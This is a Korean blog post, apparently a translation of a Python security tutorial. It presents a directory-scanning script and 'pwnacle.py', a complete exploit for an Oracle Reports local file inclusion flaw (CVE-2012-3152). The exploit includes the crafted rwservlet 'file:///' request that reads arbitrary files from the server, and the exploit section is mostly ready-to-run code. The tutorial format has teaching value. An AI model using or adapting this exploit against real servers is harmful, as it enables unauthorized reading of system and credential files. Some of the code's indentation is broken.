뉴비에욤

0x7 Python Tutorials - Web Scanning and Exploitation 본문

primalsecurity.net/Python Tutorials

0x7 Python Tutorials - Web Scanning and Exploitation

초보에욤 2015. 9. 8. 17:50

이번 포스팅에서는 파이썬을 이용하여 기본적인 웹 스캐너를 만드는 것과 웹 어플리케이션 대상으로 간단한 익스플로잇을 짜는 법을 보여줄 것이다. 종종 익스플로잇의 PoC(Proof of Concept : 개념 증명)코드는 스캐너와 익스플로잇 도구에서 해당 취약점을 검증하지 전에 공개되기도 한다. 이 경우 직접 본인이 작성한 도구를 가지고 취약점을 점검하는 것이 큰 도움이 될 것이다.

0x5 튜토리얼에서 기본적인 웹 요청을 생성하는 법에 대해 보여주었다. 이번 튜토리얼은 파이썬을 이용해서 2가지 실 사례를 보여줄 것이다.

1. 목표 서버를 대상으로 특정 리소스를 체크함

2. 오라클 제품에 대한 LFI (Local File Include) 취약점 익스플로잇

 

 

 

웹 스캐닝

미리 작성한 "spling.py" 스크립트는 "-i" 옵션을 통해 특정 파일에 작성된 URL 목록을 가져 온다. "-r" 옵션을 사용하면 요청을 수행할 목록을 가져오고, "-s" 옵션은 검색을 하고자 하는 문자열을 CLI 인자로부터 가져온다.

# python sling.py -h
Usage: sling.py -i <file_with URLs> -r  -s [optional]
 
Options:
  -h, --help    show this help message and exit
  -i SERVERS    specify target file with URLs
  -r RESOURCES  specify a file with resources to request
  -s SEARCH     [optional] Specify a search string -s

 

사용하는 파일은 다음과 같은 형태여야만 한다.

- URL 파일 => 한줄 한줄 "http://www.google.com" 와 같이 URL 목록이 있어야 됨

- 요청 파일 => 한줄 한줄 "request/ 와 같이 요청하고자 하는 디렉토리

- admin/

- tmp/

- CFIDE/

- etc/

아래 보여지는 결과는 "-s" 옵션을 사용하지 않고 스크립트를 실행한 결과이다.

# python sling.py -i URLs -r reqs
[+] URL: http://www.google.com/CFIDE/ [404]
[+] URL: http://www.google.com/admin/ [404]
[+] URL: http://www.google.com/tmp/ [404]
[+] URL: http://www.yahoo.com/CFIDE/ [404]
[+] URL: http://www.facebook.com/CFIDE/ [404]
[+] URL: http://www.facebook.com/admin/ [404]
[+] URL: http://www.facebook.com/tmp/ [404]

위 결과 같은 요청을 생성할 때 검색되는 결과 중 원하지 않는 것들을 줄이고 싶을 때도 있을 것이다. 예를 들어 "/CFIDE/admin/enter.php"를 요청할 때 오탐을 줄이기 위해 해당 페이지에 "CFIDE", ".php" 문자열이 존재하는지 체크하고 싶을 것이다. 아래 보여지는 결과는 "-s" 옵션을 사용하여 특정 문자열을 검색한 것이다.

# python sling.py -i URLs -r reqs -s google
  [+] URL: http://www.google.com/CFIDE/ [404] Found: 'google' in ouput

[+] URL: http://www.google.com/admin/ [404] Found: 'google' in ouput

[+] URL: http://www.google.com/tmp/ [404] Found: 'google' in ouput

위 결과에서 보는 것처럼 "google" 문자열을 포함하는 요청만 출력되었다. "sling.py" 파일은 파이썬을 이용해서 특정 웹 서버의 리소스를 검색하고자 할 때 사용할 수 있는 간단한 파이썬 스크립트 예제이다. 나아가 해당 서버의 리소스 버전을 탐색하여 취약한지 안전하지 판별해주는 루틴을 추가할 수 있을 것이다.

"sling.py" 코드는 블로그 하단에 첨부하였다.

 

 

웹 어플리케이션 공격 자동화

예전에" NI @ root" 라는 정보보호 전문가가 오라클 제품의 LFI 취약점에 대한 상세한 익스플로잇을 공개한 적이 있다. 그 당시에는 오직 PoC 코드만이 공개되고 익스플로잇이나 취약점 점검 도구 등에서 해당 취약점을 검색하지 못하였다. 이러한 경우에는 해당되는 오라클 제품의 취약점 점검을 위해 간단한 스크립트를 작성하는 것이 큰 도움이 된다. 취약점에 대한 익스플로잇은 아래와 같은 요청을 함으로써 로컬 리소스를 탈취할수 있다.

request = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'

* 끝부분의 file 다음에 탈취하고자 하느 파일이나 디렉토리명을 입력하면 됨

아래의 명령어처럼 해당 익스플로잇("pwnacle.py")을 사용할 수 있다.

# python pwnacle.py <server> <resource>

 

 

"pwnacle.py" 소스코드

#######################################
# pwnacle.py - Exploits CVE-2012-3152 #
# Oracle Local File Inclusion (LFI)   #
#######################################

import urllib, sys, ssl, inspect
exec inspect.getsource(ssl.wrap_socket).replace("PROTOCOL_SSLv23","PROTOCOL_SSLv3") in dict(inspect.getmembers(ssl.wrap_socket))["func_globals"]
import socket

server = sys.argv[1]      # Assigns first argument given at the CLI to 'server' variable
dir = sys.argv[2]         # Assigns second argument given at the CLI to 'dir' variable
ip = server.split('/')[2] # formats the server by splitting the string based on the '/' which grabs the IP out of 'http://ip/'
req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///' #request format to exploit the vulnerability

print "Sending Request: "+server+req+dir+'"'

if 'http://' in server: # Use urllib module for http -- self signed SSL certs caused an exception with urllib
       
try:
               
conn = urllib.urlopen(server+req+dir+'"') # Sent the request to the server
               
out = conn.readlines()
               
for item in conn:
                       
print item.strip()
       
except Exception as e:
               
print e

if 'https://' in server:  # Create web request with ssl module
       
try:
               
conn = ssl.wrap_socket(socket.create_connection((ip, 443)))
               
request = 'GET '+req+dir+'"'+' HTTP/1.1'+'\n'
               
request += 'Host: '+ip+'\n'
               
request += 'User-Agent: Mozilla/5.0 '+'\n'
               
request += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'+'\n'
               
request += 'Accept-Language: en-US,en;q=0.5'+'\n'
               
request += 'Accept-Encoding: gzip, deflate'+'\n'
               
request += 'Connection: keep-alive'+'\n'
               
conn.send(request+'\n')
               
print conn.recv()
               
print conn.recv(20098)

       
except Exception as e:
               
print e

 

 

"sling.py" 소스코드

##################################### # sling.py - checks for resources # # Can seach for string in response # ##################################### from bs4 import BeautifulSoup import sys, optparse, socket from urllib import urlopen class Colors: RED = '\033[91m' GREEN = '\033[92m' def webreq(server, resources): # Function takes in URL, and resources variable which contains the requests try: resource = [] for item in open(resources, 'r'): # Loop through the resource file resource.append(item.strip()) # Append each item in the file to the array for item in resource: # Loop through the array and create a request for each item in the array s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) # set a timeout on the socket connection url = server.strip()+item.strip() # Format the url variable to store the request: "http://www.site.com/CFIDE/administrator/enter.cfm" request = urlopen(url) # Make the request if search: # If the "search" variable is true (-s) parsed = BeautifulSoup(request.read(), "lxml") # Parse the output with BeautifulSoup if search in str(parsed): # If the search string is in the output print the next line print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"] Found: '"+search+"' in ouput" elif request.getcode() == 404: # If we got an HTTP status code print Colors.RED+"[+] URL: "+url+" ["+str(request.getcode())+"]" # Print the URL and status code          elif request.getcode():             print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"]" except:pass def main(): # Creates CLI switches and stores in variables parser = optparse.OptionParser(sys.argv[0]+' '+ \ '-i <file_with URLs> -r -s [optional]') parser.add_option('-i', dest='servers', type='string', help='specify target file with URLs') parser.add_option('-r', dest='resources', type='string', help='specify a file with resources to request') parser.add_option('-s', dest='search', type='string', help='[optional] Specify a search string -s ') (options, args) = parser.parse_args() servers=options.servers resources=options.resources global search; search=options.search if (servers == None) and (resources==None): # Checks to make sure proper CLI switches were given print parser.usage # if not print usage sys.exit(0) if servers: for server in open(servers, 'r'): # loop through each URL in the file webreq(server, resources) # Invoke the webreq function if __name__ == "__main__": main()

 

Comments